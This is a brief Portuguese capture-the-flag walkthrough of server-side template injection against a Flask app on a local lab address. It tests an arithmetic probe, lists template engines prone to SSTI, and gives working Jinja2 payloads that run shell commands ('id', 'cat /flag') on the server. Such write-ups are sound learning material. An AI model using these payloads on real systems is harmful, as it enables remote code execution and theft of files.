Primeiro vamos ver se da certo

http://192.168.15.167:1342/greet?name={{7*6}}

Agora precisamos descobrir se e

Linguagem Engine / Framework vulnerável a SSTI
Python Jinja2, Mako, Tornado templates, Django templates (em certos cenários)
PHP Twig, Smarty, Blade (se mal usado)
Node.js EJS, Pug/Jade, Nunjucks
Java FreeMarker, Velocity, Thymeleaf
Ruby ERB, Liquid (alguns casos)

Olhando o codigo fonte que ele mesmo disponibiliza

http://192.168.15.167:1342/source/app_source

Percebo que esta rando flask, pesquiso por: flask ssti, acho esse site

pego a payload

 {{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
 
 {{request.application.__globals__.__builtins__.__import__('os').popen('cat /flag').read()}}